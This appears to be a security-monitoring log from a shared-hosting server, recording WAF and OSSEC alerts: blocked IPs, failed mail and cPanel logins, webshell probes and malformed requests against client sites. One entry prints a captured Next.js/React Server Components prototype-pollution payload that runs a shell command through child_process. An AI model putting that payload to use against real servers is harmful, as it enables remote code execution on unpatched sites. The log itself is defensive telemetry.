IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/jquery.easing.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.219.229.122
country_id: 3469034
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/assets/plugins/owl-carousel/owl.carousel.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.164.88
country_id: 1269750
description:
Jan 12 16:14:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.164.88 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.237
country_id: 130758
description:
Jan 12 16:14:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.237
country_id: 130758
description:
2026-01-12 16:14:37 dovecot_login authenticator failed for H=(localhost) [62.60.130.237]:60290: 535 Incorrect authentication data (set_id=addthis)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.114.148.19
country_id: 587116
description:
[2026-01-12 16:14:43 +0800] info [cpaneld] 37.114.148.19 - mkmetalc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.163
country_id: 3469034
description:
Jan 12 16:14:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.248
country_id: 953987
description:
Jan 12 16:15:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.199.126
country_id: 1269750
description:
Jan 12 16:17:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.199.126 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.199.126
country_id: 1269750
description:
2026-01-12 16:17:20 dovecot_login authenticator failed for H=([182.79.31.107]) [152.52.199.126]:54634: 535 Incorrect authentication data (set_id=accounts@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.95.254
country_id: 1814991
description:
Jan 12 16:18:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.95.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.254
country_id: 1814991
description:
2026-01-12 16:18:09 dovecot_login authenticator failed for H=([111.26.95.253]) [111.26.95.254]:50978: 535 Incorrect authentication data (set_id=accounts)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.154
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/magnific-popup.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.171
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/fonts/fa-brands-400.woff2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.164
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/et-line-icons.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.248
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/animate.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.136
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/revolution/css/layers.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.124.227.157
country_id: 1210997
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.244
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/swiper.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.151
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/bootsnav.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.146
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/font-awesome.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.208
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/revolution/css/settings.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.167
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/themify-icons.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.179
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/responsive.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.249
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/fonts/et-line.woff HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/revolution/css/navigation.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.210
country_id: 1880251
domain: nexuscollection.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/nexuscollection.com/css/justified-gallery.min.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.230.4
country_id: 3865483
description:
Jan 12 16:22:03 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.230.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 16:23:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52007: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.230.4
country_id: 3865483
description:
Jan 12 16:22:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.230.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.3
country_id: 3469034
description:
Jan 12 16:22:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.60
country_id: 798544
description:
Jan 12 16:22:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.60 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-12 16:22:44 +0800] info [webmaild] 113.211.37.45 - chuan@tschuan.com "GET /cpsess1903874427/3rdparty/roundcube/?_task=mail&_mbox=INBOX.spam HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 16:23:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52008: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-12 16:25:14 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:53995: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.0.122.100
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=453297 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.79.74
country_id: 3469034
description:
Jan 12 16:26:57 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.79.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.8
country_id: 3175395
description:
Jan 12 16:26:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.101.118.145
country_id: 3469034
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/thumb.php?src=img/photos/8574404927.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.190.79.74
country_id: 3469034
description:
Jan 12 16:27:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.190.79.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.92.209.202
country_id: 614540
description:
Jan 12 16:27:26 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.92.209.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.24.180.146
country_id: 1269750
description:
Jan 12 16:27:45 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.24.180.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35943: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 8.215.47.191
country_id: 1643084
domain: dsc-expat.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:16-28.8.215.47.191||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/eco.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:28:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35943: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:30:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38392: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:30:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38392: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 141.98.10.127
country_id: 597427
description:
2026-01-12 16:30:48 H=([141.98.10.127]) [141.98.10.127]:54172 F=<customer_support@epson.co.kr> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.31
country_id: 3469034
description:
Jan 12 16:30:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.168.138.138
country_id: 3996063
description:
Jan 12 16:31:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.168.138.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.53.89
country_id: 953987
description:
Jan 12 16:31:39 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.53.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.31
country_id: 3469034
description:
Jan 12 16:31:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.31 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.151
country_id: 953987
description:
Jan 12 16:33:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.224
country_id: 3469034
description:
Jan 12 16:33:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.224 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 16:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58096: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.4.252
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-36.65.111.4.252||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 16:35:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58097: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.219.153.194
country_id: 2328926
description:
2026-01-12 16:36:12 dovecot_login authenticator failed for H=(ADMIN) [102.219.153.194]:29910: 535 Incorrect authentication data (set_id=general@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.196
country_id: 298795
description:
Jan 12 16:36:34 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.121
country_id: 6290252
description:
Jan 12 16:37:03 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.121
country_id: 6290252
description:
Jan 12 16:37:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.107.47
country_id: 3469034
description:
Jan 12 16:39:30 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.107.47 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.177.71.122
country_id: 3865483
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=434148 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/residential/images/home/druma.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.205
country_id: 3865483
description:
Jan 12 16:44:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.103
country_id: 3175395
description:
Jan 12 16:44:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 42.114.186.39
country_id: 1562822
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/pcp.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.71.44.148
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=18 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.133.236.14
country_id: 6252001
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/tech1.html HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.187.155.117
country_id: 2464461
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603392 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.89.82
country_id: 3469034
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/product-detail.php?id=739603 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.243.205.178
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:16-49.104.243.205.178||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.213.154.132
country_id: 630336
domain: ocned.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/ocned.com/subsidiaries.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 16:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52148: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 16:51:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52148: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.175.53
country_id: 1733045
description:
[2026-01-12 16:51:59 +0800] info [webmaild] 175.139.175.53 - account@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77093094
abuser: 15.236.207.28
country_id: 3017382
domain: evergrown.com.my
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.215
country_id: 3865483
description:
Jan 12 16:52:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.215 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.13
country_id: 933860
description:
Jan 12 16:53:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.14.198
country_id: 3469034
description:
Jan 12 16:55:03 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.14.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.236.14.198
country_id: 3469034
description:
Jan 12 16:55:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.236.14.198 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.132.249.134
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/object-enumerator/tests/Fixtures HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.71.40.183
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/object-enumerator/tests/Fixtures/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.149.179
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/exporter/src/Exporter.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35952: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:56:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35952: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:58:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38416: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
